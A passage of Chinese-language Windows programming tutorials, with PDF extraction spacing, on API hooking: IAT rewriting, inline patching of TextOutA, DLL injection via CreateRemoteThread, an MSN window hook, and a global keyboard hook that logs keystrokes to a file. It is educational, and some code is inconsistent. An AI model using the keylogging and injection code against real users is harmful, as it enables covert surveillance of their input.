個進程都將有其單獨的拷貝。這是一個很容易被忽視的問題。您可能想固然的
覺得,在 DLL 中保存的值能夠在全部映射該 DLL 的進程之間共享。在一般狀況
下,因爲每個映射該 DLL 的進程都有本身的數據段,因此在大多數的狀況下
您的程序運行得都不錯。可是鉤子函數卻不是如此。對於鉤子函數來講,要求
DLL 的數據段對全部的進程也必須相同。這樣您就必須把數據段設成共享的,這
能夠經過在連接開關中指定段的屬性來實現。
API Hook 基本原理和實現[圖文]
關鍵字:API Hook,消息,攔截 API,鉤子,wskjuf
做者:wskjuf 更新:2007-12-23 8:18:25 瀏覽:26374
注:本 文 主 要 爲 解 決 論 壇 上 ht t p: / / www. ccrun. com/ forum/ forum_post s. asp?TID=7281 的提問而
寫 的 。我 搜 索 了 一 下 互 聯 網 ,將 網 絡 上 幾 篇 有 代 表 性 的 api hook 文 章 的 精 華 進 行 了 濃 縮 和 適
當 簡 化 ,寫 成 這 篇 介 紹 性 文 章 。另 外 也 希 望 初 學 者 能 夠 認 真 思 考 本 文 採 用 的 循 序 漸 進 的 分 析
思 路 , 如 何 解 決 了 一 個 未 知 的 問 題 。 文 中 借 鑑 的 文 獻 資 料 列 於 文 末 附 錄 一 節 。
hook 是什麼?
wi ndows 系 統 下 的 編 程 , 消 息 message 的 傳 遞 是 貫 穿 其 始 終 的 。 這 個 消 息 我 們 可 以 簡 單
理 解 爲 一 個 有 特 定 意 義 的 整 數 ,正 如 我 們 看 過 的 老 故 事 片 中 的 「 長 江 長 江 ,我 是 黃 河 」 一 個 含
義。wi ndows 中 定 義 的 消 息 給 初 學 者 的 印 象 似 乎 是 「 不 計 其 數 」 的 , 常 見 的 一 部 分 消 息 在
wi nuser. h 頭 文 件 中 定 義 。 hook 與 消 息 有 着 非 常 密 切 的 聯 系 , 它 的 中 文 含 義 是 「 鉤子」 , 這 樣
理 解 起 來 我 們 不 難 得 出 「 hook 是 消 息 處 理 中 的 一 個 環 節 ,用 於 監 控 消 息 在 系 統 中 的 傳 遞 ,並
在 這 些 消 息 到 達 最 終 的 消 息 處 理 過 程 前 , 處 理 某 些 特 定 的 消息」 。 這 也 是 hook 分 爲 不 同 種
類 的 原 因 。
hook 的 這 個 本 領 , 使 它 能 夠 將 自 身 的 代 碼 「 融入」 被 hook 住 的 程 序 的 進 程 中 , 成 爲 目 標
進 程 的 一 個 部 分 。 我 們 也 知 道 , 在 wi ndows2000 以 後 的 系 統 中 , 普 通 用 戶 程 序 的 進 程 空 間
都 是 獨 立 的 ,程 序 的 運 行 彼 此 間 都 不 受 幹 擾 。這 就 使 我 們 希 望 通 過 一 個 程 序 改 變 其 他 程 序 的
某 些 行 爲 的 想 法 不 能 直 接 實 現 , 但 是 hook 的 出 現 給 我 們 開 拓 了 解 決 此 類 問 題 的 道 路 。
api hook 是什麼?
在 wi ndows 系 統 下 編 程 ,應 該 會 接 觸 到 api 函 數 的 使 用 ,常 用 的 api 函 數 大 概 有 2000 個
左 右 。今 天 隨 着 控 件 ,st l 等 高 效 編 程 技 術 的 出 現 ,api 的 使 用 概 率 在 普 通 的 用 戶 程 序 上 就 變
得 越 來 越 小 了 。 當 諸 如 控 件 這 些 現 成 的 手 段 不 能 實 現 的 功 能 時 , 我 們 還 需 要 借 助 api 。 最 初
有 些 人 對 某 些 api 函 數 的 功 能 不 太 滿 意 , 就 產 生 了 如 何 修 改 這 些 api , 使 之 更 好 的 服 務 於 程
序 的 想 法 , 這 樣 api hook 就 自 然 而 然 的 出 現 了 。 我 們 可 以 通 過 api hook, 改 變 一 個 系 統 api
的 原 有 功 能 。基 本 的 方 法 就 是 通 過 h o o k 「 接觸」 到 需 要 修 改 的 api 函 數 入 口 點 ,改 變 它 的 地 址
指 向 新 的 自 定 義 的 函 數 。 api hook 並不屬於 msdn 上 介 紹 的 13 類 hook 中 的 任 何 一 種 。 因此
說,api hook 並 不 是 什 麼 特 別 不 同 的 hook, 它 也 需 要 通 過 基 本 的 hook 提 高 自 己 的 權 限 , 跨
越 不 同 進 程 間 訪 問 的 限 制 ,達 到 修 改 api 函 數 地 址 的 目 的 。對 於 自 身 進 程 空 間 下 使 用 到 的 api
函 數 地 址 的 修 改 , 是 不 需 要 用 到 api hook 技 術 就 可 以 實 現 的 。
api hook 和 pe 格式的關係
api hook 技 術 的 難 點 , 並 不 在 於 hook 技 術 , 初 學 者 借 助 於 資 料 「 照 葫 蘆 畫 瓢 」 能 夠 很 容 易 就
掌握 hook 的 基 本 使 用 技 術 。但 是 如 何 修 改 api 函 數 的 入 口 地 址 ? 這 就 需 要 學 習 pe 可 執 行 文
件( . exe,. dl l 等)如 何 被 系 統 映 射 到 進 程 空 間 中 ,這 就 需 要 學 習 pe 格 式 的 基 本 知 識 。wi ndows
已 經 提 供 了 很 多 數 據 結 構 st ruct 幫 助 我 們 訪 問 pe 格 式 , 借 助 它 們 , 我 們 就 不 要 自 己 計 算 格
式 的 具 體 字 節 位 置 這 些 繁 瑣 的 細 節 。 但 是 從 api hook 的 實 現 來 看 , pe 格 式 的 訪 問 部 分 仍 然
是 整 個 編 程 實 現 中 最 復 雜 的 一 部 分 , 對 於 經 常 cr ack 的 朋 友 不 在 此 列 。
假 設 我 們 已 經 了 解 了 pe 格 式 , 那 麼 我 們 在 哪 裏 修 改 api 的 函 數 入 口 點 比 較 合 適 呢 ? 這 個 就
是 輸 入 符 號 表 i mport ed symbol s t abl e( 間 接 ) 指 向 的 輸 入 符 號 地 址 。
下 面 對 於 pe 格 式 的 介 紹 這 一 部 分 ,對 於 沒 有 接 觸 過 pe 格 式 學 習 的 朋 友 應 該 是 看 不 太 明 白
的 , 但 我 已 經 把 精 華 部 分 提 取 出 來 了 , 學 習 了 pe 格 式 後 再 看 這 些 就 很 容 易 了 。
pe 格 式 的 基 本 組 成
+---- ---- ---- ----- -- +
| DOS- st ub | --DOS- 頭
+---- ---- ---- ----- -- +
| fi l e-header | --文 件 頭
+---- ---- ---- ----- -- +
| opt i onal header | --可 選 頭
| - - - - - - - - - - |
| |
| dat a di r ect or i es | --( 可 選 頭 尾 的 ) 數 據 目 錄
| |
+---- ---- ---- ----- -- +
| |
| sect i on headers | --節頭
| |
+---- ---- ---- ----- -- +
| |
| sect i on 1 | --節 1
| |
+---- ---- ---- ----- -- +
| |
| sect i on 2 | --節 2
| |
+---- ---- ---- ----- -- +
| |
| . . . |
| |
+---- ---- ---- ----- -- +
| |
| sect i on n | --節 n
| |
+---- ---- ---- ----- -- +
在 上 圖 中 , 我 們 需 要 從 「 可 選 頭 」 尾的「 數據目錄」 數組中 的 第 二 個 元 素 ——輸 入 符 號 表 的
位 置 ,它 是 一 個 IMAGE_DATA_DIRECTORY 結 構 ,從 它 中 的 Vi rt ual Address 地 址 ,「 順 藤 摸
瓜 」 找到 api 函 數 的 入 口 地 點 。
下 圖 的 簡 單 說 明 如 下 :
Ori gi nal Fi r st Thunk 指向 I MAGE_THUNK_DATA 結構數組, 爲 方 便 只 畫 了 數 組 的 一 個 元 素 ,
Addr essOfDat a 指向 IMAGE_IMPORT_BY_NAME 結 構 。
IMAGE_IMPORT_DESCRI PTOR 數 組 : 每 個 引 入 的 dl l 文 件 都 對 應 數 組 中 的 一 個 元 素 , 以 全
0 的 元 素 ( 20 個 byt es 的 0) 表 示 數 組 的 結 束
IMAGE_THUNK_DATA32 數 組 :同 一 組 的 以 全 0 的 元 素( 4 個 byt es 的 0)表 示 數 組 的 結 束 ,
每 個 元 素 對 應 一 個 IMAGE_IMPORT_BY_NAME 結構
IMAGE_IMPORT_BY_NAME:如. . @Const s@i ni t i al i zat i on$qqrv. 表示
Unmangl ed Bor l and C++ Funct i on: qual i fi ed funct i on __fast cal l Const s: : i ni t i al i zat i on()
爲 了 減 少 這 個 圖 的 大 小 , 不 得 已 將 匯 編 和 c++的 結 構 都 用 上 了 。 這 個 圖 是 輸 入 符 號 表 初
始 化 的 情 形 , 此 時 兩 個 IMAGE_THUNK_DATA 結 構 數 組 的 對 應 元 素 都 指 向 同 一 個
IMAGE_IMPORT_BY_NAME 結構。
程 序 加 載 到 進 程 空 間 後 , 兩 個 IMAGE_THUNK_DATA 結 構 數 組 指 向 有 所 不 同 了 。 看 下
圖:
// 本 文 轉 自 C++Bui l der 研究 - ht t p: / / www. ccrun. com/ ar t i cl e. asp?i =1036&d=cf6de2
始 化 的 ,「 兩 個 結 構 都 指 向 同 一 個 I MAGE _ I MP ORT_ B Y_ NAME 」 ,此 時 還 沒 有 api 函 數 地 址
當 PE 文 件 準 備 執 行 時 ,前 圖 已 轉 換 成 上 圖 。一 個 結 構 指 向 不 變 ,另 一 個 出 現 api 函 數 地 址
若是 PE 文件從 kernel 32. dl l 中引入 10 個 函 數 ,那 麼 IMAGE_IMPORT_DESCRIPTOR 結
構的 Name1 域 包 含 指 向 字 符 串 "kernel 32. dl l "的 RVA, 同 時 每 個 IMAGE_THUNK_DATA 數
組有 10 個 元 素 。(RVA 是 指 相 對 地 址 ,每 一 個 可 執 行 文 件 在 加 載 到 內 存 空 間 前 ,都 以 一 個 基
址 做 爲 起 點 ,其 他 地 址 以 基 址 爲 準 ,均 以 相 對 地 址 表 示 。這 樣 系 統 加 載 程 序 到 不 同 的 內 存 空
間 時 , 都 可 以 方 便 的 算 出 地 址 )
上 述 這 些 結 構 可 以 在 wi nnt . h 頭 文 件 裏 查 到 。
具體編程實現
我將手上的 vc 示 例 代 碼 進 行 了 適 當 修 正 , 修 改 了 一 些 資 源 泄 漏 的 小 問 題 , 移 植 到
c++bui l der6 & updat e4 上 ,經 過 測 試 已 經 可 以 完 成 基 本 的 api hook 功 能 。有 幾 個 知 識 點 說 明
一 下 :
一、 dl l 中 共 享 內 存 變 量 的 實 現
正 常 編 譯 下 的 dl l , 它 的 變 量 使 用 到 的 內 存 是 獨 立 的 。 比 如 你 同 時 運 行 兩 個 調 用 了 某 個 dl l
的 用 戶 程 序 , 試 圖 對 某 一 個 在 dl l 中 定 義 的 全 局 變 量 修 改 賦 值 的 時 候 , 兩 個 程 序 裏 的 變 量 值
仍 然 是 不 同 的 。
共 享 的 方 法 爲 : 在 . cpp 文件(.h 文 件 裏 如 此 設 置 會 提 示 編 譯 錯 誤 ) 的 頭 部 寫 上 如 上 兩 行 :
#pragma opt i on -zRSHSEG // 改 變 缺 省 數 據 段 名
#pragma opt i on -zTSHCLASS // 改 變 缺 省 數 據 類 名
HINSTANCE hdl l = NULL; // 用 來 保 存 該 動 態 連 接 庫 的 句 柄
HHOOK hApi Hook = NULL; // 鉤 子 句 柄
HHOOK hWndProc = NULL; // 窗 口 過 程 鉤 子 用 來 攔 截 SendMessage
i nt t hreadId = 0;
另 外 建 立 一 個 與 dl l 同 名 , 不 同 後 綴 的 def 文 件 , 如 HookDl l . def 文 件 , 寫 上 :
LI BRARY HookDl l . dl l
EXPORTS
; . . .
SEGMENTS
SHSEG CLASS ' SHCLASS' SHARED
; end
這 樣 設 置 後 在 . cpp 文 件 中 定 義 的 變 量 ,如 果 進 行 了 初 始 化 ,將 進 入 「 S HC L AS S 」 共 享 內 存
段 ( 如 果 不 初 始 化 , 將 不 改 變 其 默 認 段 屬 性 )。
上 述 的 共 享 對 於 本 示 例 代 碼 並 不 是 必 須 的 , 只 是 稍 微 演 示 了 一 下 。
二、 api hook 修改 api 函 數 入 口 點 地 址 的 時 機
很 顯 然 ,我 們 必 須 通 過 hook 進 入 目 標 進 程 的 地 址 空 間 後 ,再 在 位 於 該 地 址 空 間 裏 的 hook
消 息 處 理 過 程 裏 修 改 輸 入 符 號 表 「 指向」 的 api 函 數 入 口 點 地 址 , 退 出 hook 前 也 必 須 在 這 個
消 息 處 理 過 程 裏 恢 復 原 來 的 地 址 。 只 要 我 們 牢 記 修 改 的 過 程 發 生 在 目 標 進 程 的 地 址 空 間 中 ,
就 不 會 發 生 訪 問 違 例 的 錯 誤 了 。
示 例 代 碼 使 用 了 WH_GETMESSAGE、WH_CALLWNDPROC 兩中 hook 來 演 示 如 何 hook
api ,但 WH_GETMESSAGE 實 際 上 並 沒 有 完 成 具 體 的 功 能 。
爲 了 讓 初 學 者 盡 快 的 掌 握 重 點 ,我 將 代 碼 進 行 了 簡 化 ,是 一 個 不 健 壯 、不 靈 活 的 演 示 示
例。
三、 函 數 的 內 外 部 表 現 形 式
例如 api 函數 MessageBox, 這 個 形 式 是 我 們 通 常 用 到 的 , 但 到 了 dl l 裏 , 它 的 名 字 很 可
能 出 現 了 兩 個 形 式 , 一 個 是 MessageBoxA, 另 一 個 是 MessageBoxW, 這 是 因 爲 系 統 需 要 適
應 Ansi 和 Uni code 編 碼 的 兩 種 形 式 , 我 們 不 在 函 數 尾 端 添 加 「 A」 或 「 W」 , 是 不 能 hook 到需
要 的 函 數 的 。
四、 輔助 pe 格 式 查 看 工 具
PE Expl orer 是 一 個 非 常 好 的 查 看 pe 資 源 的 工 具 ,通 過 它 可 以 驗 證 自 己 手 工 計 算 的 pe 地
址 , 可 以 更 快 的 掌 握 pe 格 式 。
調試器 ol l ydbg 也 是 非 常 好 的 輔 助 工 具 , 例 如 查 看 輸 入 符 號 表 中 的 api 函 數 。
五、 程 序 文 件 列 表
dl l 基 本 文 件 : Hook. h, Hook. cpp, HookDl l . def
cl i ent 驗 證 方 基 本 文 件 : HookTest . h, HookTest . cpp, Api HookTest . cpp
六、 實 現 的 功 能
對 記 事 本 的 MessageBoxW 函 數 進 行 了 hook, 先 執 行 自 定 義 的
i nt WINAPI MyMessageBoxW( HWND hWnd, LPCWSTR M1, LPCWSTR M2 , UINT M3)
{
ret urn ol dMessageBoxW(hWnd, M1, L"my api hook", M3);
}
從 這 裏 可 以 看 到 , 由 於 目 標 進 程 空 間 中 的 執 行 線 程 並 不 知 道 你 已 經 改 變 了 api 函 數 的 實
際 入 口 地 址 ,它 在 調 用 時 仍 舊 將 參 數 一 成 不 變 的 壓 入 堆 棧( 這 個 說 法 是 匯 編 代 碼 時 看 到 的 等
價 情 形 ),事 實 上 你 已 經 提 前 接 收 到 了 函 數 調 用 的 所 有 參 數 。這 裏 就 是 篇 首 帖 子 的 回 復 了 。
hook 以前
hook 之後
示例代碼
一、 cl i ent 驗 證 方 的 代 碼 非 常 簡 單 。 建 立 一 個 Appl i cat i on 工 程 , 在 窗 體 上 放 一 個 memo(提
示 信 息 ), 兩 個 but t on( 一 個 Set Hook, 另 一 個 RemoveHook)。
voi d __fast cal l TFor m1: : But t on1Cl i ck( TObj ect *Sender )
{
DWORD dwProcessId, dwThr eadI D;
HWND hWnd = Fi ndWi ndow( "Not epad", NULL);
i f ( !hWnd)
{
Memo1->Li nes- >Add("Nodepad i s not found") ;
}
el se
{
dwThr eadI D = Get Wi ndowThreadProcessId(hWnd, &dwProcessId) ;
Memo1->Li nes- >Add(dwThreadID);
Set Hook(dwThreadI D);
}
}
//----- ----- ---- ---- ----- ---- ---- ------ ---- ----- ---- ----- ---- ---- ------ ---- --
voi d __fast cal l TFor m1: : But t on2Cl i ck( TObj ect *Sender )
{
RemoveHook( );
}
//----- ----- ---- ---- ----- ---- ---- ------ ---- ----- ---- ----- --- - ---- ------ ---- --
二、api hook dl l 稍 微 復 雜 些 ,建 立 一 個 dl l 工 程 之 後 ,修 改 之 。代 碼 中 有 一 些 函 數 並 未 用 上 ,
Repl aceApi Address 是 核 心 函 數 , 完 整 代 碼 提 供 下 載 :
Api Hook. r ar
Windows 中的消息截獲 - HOOK 鉤子
因爲本人能力有限,因此實現鉤子的方法必定不是是最好的,但簡單。
原本一直打算作個 APM 計數器的,所謂 APM 計數器,就是一個全局的計算鍵盤鼠標平均時間下的操
做量啦。若是玩過星際爭霸或者魔獸爭霸的必定知道 APM 的意義。
爲了實現全局的統計鍵盤和鼠標操做,我採用了 HOOK 的方法進行了實現,具體以下。
首先創建一個 DLL 得工程,這個工程的主要目的就是進行鉤子而且經過函數指針對主程序進行通知。
其頭文件以下:
#ifdef _COMPILING_44E531B1_14D3_11d5_A025_006067718D04
#define LIBSPEC __declspec(dllexport)
#else
#define LIBSPEC __declspec(dllimport)
#endif
LIBSPEC BOOL setMouseHook();
LIBSPEC BOOL setKeyBoardHook();
LIBSPEC BOOL setMsgHook();
LIBSPEC BOOL clearAllHook();
typedef int (*FucOnMouse)(int mousex,int mousey) ;
LIBSPEC void setHookFuncMouse(FucOnMouse ptFuc);
typedef int (*FucOnKeyBoard)(long code, long scancode,long flags);
LIBSPEC void setHookFuncKeyBoard(FucOnKeyBoard ptFuc);
typedef int (*FucOnMsg)(WPARAM wParam, LPARAM lParam);
LIBSPEC void setHookFuncMsg(FucOnMsg ptFuc);
#undef LIBSPEC
然後是源文件:
HINSTANCE hInst;
HHOOK hookkeyboard = NULL;
static LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wparam,LPARAM lparam) ;
BOOL APIENTRY DllMain( HINSTANCE hInstance,
DWORD Reason,
LPVOID Reserved
)
{
switch(Reason)
{ /* reason */
case DLL_PROCESS_ATTACH:
hInst = hInstance;
return TRUE;
case DLL_PROCESS_DETACH:
return clearAllHook();
} /* reason */
return TRUE;
}
//主程序若是要對鍵盤消息進行截獲就調用這個函數
__declspec(dllexport) BOOL setKeyBoardHook()
{
if (hookkeyboard!=NULL)
{
return TRUE;
}
hookkeyboard = SetWindowsHookEx(WH_KEYBOARD_LL,KeyBoardProc,hInst,0);
if(hookkeyboard!=NULL)
{ /* success */
return TRUE;
}
return FALSE; // failed to set hook
}
//而後在主程序中設置一個函數指針來處理鍵盤消息。
static FucOnMouse g_ptfucmouse = NULL;
__declspec(dllexport) void setHookFuncMouse(FucOnMouse ptFuc)
{
g_ptfucmouse = ptFuc;
}
//這部分就是 HOOK 的時候傳入的處理函數啦
static LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wparam,LPARAM lparam)
{
if(nCode>=0)
{
LPKBDLLHOOKSTRUCT pKeyBoardHook =(LPKBDLLHOOKSTRUCT)lparam;
//若是截獲到鍵盤消息就利用函數指針傳遞
if(g_ptfuckeyboard)
{
g_ptfuckeyboard(pKeyBoardHook->vkCode,pKeyBoardHook->scanCode,pKeyBoardHook->flags);
}
}
return CallNextHookEx(hookkeyboard,nCode,wparam,lparam);
}
到這裏就完成了 HOOK.
主程序部分:
//首先記得加上 HOOK 工程的頭文件,而且鏈接下庫文件
#include "MsgTracker.h"
#pragma comment(lib, "MsgTracker.lib")
//聲明一個用於處理鍵盤信息的函數指針
int KeyboardRecord(long code,long scancode,long flags);
//處理鍵盤消息的函數主體 --- 把截獲的消息存放到 文本文件
int KeyboardRecord(long code,long scancode,long flags)
{
notifyOtherProc();
std::ofstream outfile("C:\\KEYBOARDinfo.txt",ofstream::out|ofstream::app);
SYSTEMTIME sys;
GetLocalTime( &sys );
outfile<<"Time:"<<sys.wHour<<":"<<sys.wMinute<<":"<<sys.wSecond;
outfile<<" Key Code="<<code;
outfile<<"\r\n";
return 0;
}
//程序的主函數
void WINAPI ServiceMain()
{
//就這點代碼 就能夠進行消息截獲啦
BOOL bKeyboard;
if((bKeyboard=setKeyBoardHook())==TRUE)
setHookFuncKeyBoard(KeyboardRecord);
//讓他本身循環去吧
MSG msg;
while (GetMessage(&msg,NULL,0,0))
{
if(msg.message == WM_CLOSE)
{
break;
}
TranslateMessage(&msg);
DispatchMessage(&msg);
}
//最後必定要記得清除鉤子
clearAllHook();
}
最後放上代碼:
截獲消息 MsgTracker.rar
Windows 下的函數 hook 技術
做者:佚名 來源:不詳 點擊:131 更新:2006-12-19 7:01:28 編輯: 畫王 w 字體:小 大
都是很成熟的東西了,這幾天看了看,總結一下而已。
討論了 Windows 下 hook 函數的幾種方法。提供了一個 hook TextOutA 的完整例子。經過 CreateRemoteThread 的方法把 hook dll 注入到一個普
通的應用程序中。Hooking Imported Functions by name 調用 imported functions'時的步驟/實如今程序中調用從其它模塊引入的函數的方法和普
通的函數調用有所不一樣。對於普通的函數調用,直接使用 call address 來調用便可,可是對於 imported functions ,在編譯的時候 compiler/link
並不知道實際的函數實現會被加載到那個地址,函數實如今那個地址在運行的時候纔會肯定。對於 imported functions ,首先是 call 引入表中的
一個函數,在運行時再初始化引入表,使用 jmp 跳轉到真實的函數實現。
引入表:
The PE file IMAGE_IMPORT_DESCRIPTOR structure, which holds all the information about functions imported from a specifi
c DLL, has pointers to two arrays in the executable. These arrays are called import address tables (IATs), or sometimes thunk
data arrays. The first pointer references the real IAT, which the program loader fixes up when the executable is loaded. The
second pointer references the original IAT, which is untouched by the loader and lists the imported functions.
實現原理
找到 PE 文件的 Image_Import_Descriptor 結構
找到 Original LAT 和 Real LAT.
經過要 hook 的函數的名字在 Original LAT 找到要 hook 的 imported function 在數組中的 index.
保存並修改 Real LAT 在相應 index 的 function address
(refer to John Robbins, BugsLayerUtil.dll)
Hooking Imported Functions by ordinal
原理和 Hook Imported functions by name 同樣,只是是經過要 hook 的函數的 ordinal 在 original LAT 中找到 index.
Hooking a function in this dll
當一個 DLL 是經過 LoadLibrary 載入的時候,咱們沒法經過 hook imported function 的方法的 hook 它中的 function
。有兩種可能的辦法處理這種狀況:
第一種方法,遍歷進程空間,發現 call 指定函數的地方替換爲 call hookFunction. 太麻煩,並且不安全。
第二種方法,改寫要 hook 的函數 FuncA
。比較好的方法
1. 實現 HookFuncA ,最後的實現墊入 n 個 nop.
2. 找到要 hook 的函數 FuncA 的絕對地址,改寫前 5 個字節爲 jmp hookFuncA( 假定前 5 個字節爲 n 個完整的指令)
3. 把 FuncA 的前 5 個字節拷貝到 hookFuncA 的後面,在加上一條指令 jmp funcA+5.
----Code of HookDLL.dll, 能夠經過 CreateRemoteThread 的方法把 hook dll 注入到一個普通的應用程序中。
// HookDLL.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include "HookDLL.h"
#include "Log.h"
//forward declare.
LRESULT WINAPI InstallTextoutHook();
LRESULT WINAPI UninstallTextoutHook();
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
if (InstallTextoutHook())
{
WriteLog("Install hook success.\n");
}else
{
WriteLog("Intall hook failed.\n");
}
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
if (UninstallTextoutHook())
{
WriteLog("Uninstall hook success.\n");
}else
{
WriteLog("Unintall hook failed.\n");
}
break;
}
return TRUE;
}
#define DWORD_PTR DWORD*
#define __LOCAL_SIZE 40h
#define NAKED_PROLOG() \
DWORD_PTR dwRet ; \
DWORD_PTR dwESI ; \
{ \
__asm PUSH EBP /* Set up the standard frame.*/\
__asm MOV EBP , ESP \
__asm SUB ESP , __LOCAL_SIZE /* Save room for the local */\
/* variables. */\
__asm MOV EAX , EBP /* EBP has the stack coming */\
/* into the fn. in it. */\
__asm ADD EAX , 4 /* Account for PUSH EBP */\
__asm MOV EAX , [EAX] /* Get return address. */\
__asm MOV [dwRet] , EAX /* Save return address. */\
__asm MOV [dwESI] , ESI /* Save ESI so chkesp in dbg */\
/* builds works. */\
}// The common epilog part that can be shared between the stdcall and
// cdecl hook functions.
#define EPILOG_COMMON() \
{ \
__asm MOV ESI , [dwESI] /* Restore ESI. */\
__asm ADD ESP , __LOCAL_SIZE /* Take away local var space */\
__asm MOV ESP, EBP /* Restore standard frame. */\
__asm POP EBP \
}
#define COPY_CODE_LENGTH 5
BYTE g_abOriCode[COPY_CODE_LENGTH];
BYTE g_abJmpCode[COPY_CODE_LENGTH];
PROC g_oriTextout;
BOOL g_blHooked = FALSE;
LRESULT WINAPI InstallTextoutHook()
{
if (g_blHooked)
return TRUE;
//Get TextOutA's address.
HMODULE hGdi32 = ::LoadLibrary(_T("Gdi32.dll"));
g_oriTextout = GetProcAddress(hGdi32, _T("TextOutA"));
if (NULL == g_oriTextout)
return FALSE;
//Get the hook'a address.
HMODULE hModule = GetModuleHandle(_T("HookDLL.dll"));
if (NULL == hModule)
return FALSE;
DWORD dwHookAddr = NULL;
__asm
{
mov esi, offset HookLabel;
mov edi, 0x10000000;//0x10000000 is the dll's base address.
sub esi, edi;
add esi, hModule;
mov [dwHookAddr], esi;
}
//Get the NOP's address.
DWORD dwNOPAddr = NULL;
__asm
{
mov esi, offset NOPLabel;
mov edi, 0x10000000;//0x10000000 is the dll's base address.
sub esi, edi;
add esi, hModule;
mov [dwNOPAddr], esi;
}
//Save the first 5 byte of TextOutA to g_abOriCode
__asm
{
mov esi, g_oriTextout;
lea edi, g_abOriCode;
cld;
movsd;
movsb;
}
//Generate the jmp Hook function.
g_abJmpCode[0] = 0xe9;
__asm
{
mov eax, dwHookAddr;
mov ebx, g_oriTextout;
add ebx, 5;
sub eax, ebx;
mov dword ptr[g_abJmpCode+1], eax;
}
//Write the jump instruction to the textoutA.
DWORD dwProcessId = GetCurrentProcessId();
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,
FALSE, dwProcessId);
if (NULL == hProcess)
return FALSE;
DWORD dwOldFlag;
VirtualProtectEx(hProcess, g_oriTextout, 5, PAGE_READWRITE, &dwOldFlag);
WriteProcessMemory(hProcess, g_oriTextout, g_abJmpCode, sizeof(g_abJmpCode), NULL);
VirtualProtectEx(hProcess, g_oriTextout, 5, dwOldFlag, NULL);
//Write g_abOriTextout to the end of Hook function(NOP addr), then write the jmp instruction.
VirtualProtectEx(hProcess, (LPVOID)dwNOPAddr, 10, PAGE_READWRITE, &dwOldFlag);
WriteProcessMemory(hProcess, (LPVOID)dwNOPAddr, g_abOriCode, sizeof(g_abOriCode), NULL);
//Generate the jmp TextoutA + 5
__asm
{
mov eax, g_oriTextout;
mov ebx, dwNOPAddr;
add ebx, 5;
sub eax, ebx;
mov dword ptr[g_abJmpCode+1], eax;
}
WriteProcessMemory(hProcess, (LPVOID)(dwNOPAddr+5), g_abJmpCode, sizeof(g_abJmpCode), NULL);
VirtualProtectEx(hProcess, (LPVOID)dwNOPAddr, 10, dwOldFlag, NULL);
g_blHooked = TRUE;
if(TRUE)
return TRUE;
HookLabel:
NAKED_PROLOG ( ) ;
int nx, ny;
LPCSTR lp;
lp = NULL;
_asm
{
mov esi, ebp;
add esi, 0Ch;
lea edi, nx;
movsd;
lea edi, ny;
movsd;
lea edi, lp;
movsd;
}
WriteLog_F("Try to ouput \"%s\" at (%d,%d)\n", lp, nx, ny);
// Do the common epilog.
EPILOG_COMMON ( ) ;
NOPLabel:
_asm NOP
_asm NOP
_asm NOP
_asm NOP
_asm NOP
_asm NOP
_asm NOP
_asm NOP
_asm NOP
_asm NOP
_asm NOP
}
LRESULT WINAPI UninstallTextoutHook()
{
if (!g_blHooked)
return FALSE;
//Restore the first 5 bytes code of TextOutA
DWORD dwProcessId = GetCurrentProcessId();
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,
FALSE, dwProcessId);
if (NULL == hProcess)
return FALSE;
DWORD dwOldFlag;
VirtualProtectEx(hProcess, g_oriTextout, 5, PAGE_READWRITE, &dwOldFlag);
WriteProcessMemory(hProcess, g_oriTextout, g_abOriCode, sizeof(g_abOriCode), NULL);
VirtualProtectEx(hProcess, g_oriTextout, 5, dwOldFlag, NULL);
g_blHooked = FALSE;
return TRUE;
}
VC 實現的 MSN Messager 鉤子程序
2005-11-02 15:38 來源:CSDN RSS 複製連接打印
核心提示:
最近研究怎麼樣使用 HOOK 攔截其餘應用程序的消息,因而就動手寫了一個鉤子程序來掛到最常
用的通信及時通信工具 MSN,雖然沒有什麼實際意義,但做爲學習研究卻可以幫助咱們理解利用 HOOK 是怎
麼樣將本身編寫的 DLL 注入已經存在的程序空間中的。
咱們須要作的是經過咱們本身編寫的應用程序去攔截別人寫好的應用程序消息,實際上這是在
兩個進程之間進行的,難度就在這裏,若是是同一個進程什麼都好辦,只要將系統響應 WINDOWS 消息的處
理函數修改成咱們本身編寫的函數就能夠,但如今不能這麼作,由於兩個進程有各自的進程地址空間,理
論上你沒有辦法直接去訪問別的進程的地址空間,那麼怎麼辦來?辦法仍是不少的,這裏僅僅介紹經過 HO
OK 來達到目的。
須要攔截別的應用程序的消息,須要利用將本身編寫的 DLL 注入到別人的 DLL 地址空間中才能夠達到
攔截別人消息的目的。只有將咱們的 DLL 插入到別的應用程序的地址空間中才可以對別的應用程序進行操
做,HOOK 幫助咱們完成了這些工做,咱們只須要使用 HOOK 來攔截指定的消息,並提供必要的處理函數就
行了。咱們這裏介紹攔截在 MSN 聊天對話框上的鼠標消息,對應的 HOOK 類型是 WH_MOUSE。
首先咱們要創建一個用來 HOOK 的 DLL。這個 DLL 的創建和普通的 DLL 創建沒有什麼具體的區別,不過
咱們這裏提供的方法有寫不一樣。這裏使用隱式導入 DLL 的方法。代碼以下:
頭文件
#pragma once
#ifndef MSNHOOK_API
#define MSNHOOK_API __declspec(dllimport)
#endif
MSNHOOK_API BOOL WINAPI SetMsnHook(DWORD dwThreadId);//安裝 MSN 鉤子函數
MSNHOOK_API void WINAPI GetText(int &x,int &y,char ** ptext);//安裝 MSN 鉤子函數
MSNHOOK_API HWND WINAPI GetMyHwnd();//安裝 MSN 鉤子函數
DLL 的 CPP 文件
#include "stdafx.h"
#include "MSNHook.h"
#include <stdio.h>
// 下面幾句的含義是告訴編譯器將各變量放入它本身的數據共享節中
#pragma data_seg("Shared")
HHOOK g_hhook = NULL;
DWORD g_dwThreadIdMsn = 0;
POINT MouseLoc={0,0};
char text[256]={0};
HWND g_Hwnd = NULL;
#pragma data_seg()
//告訴編譯器設置共享節的訪問方式爲:讀,寫,共享
#pragma comment(linker,"/section:Shared,rws")
HINSTANCE g_hinstDll = NULL;
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
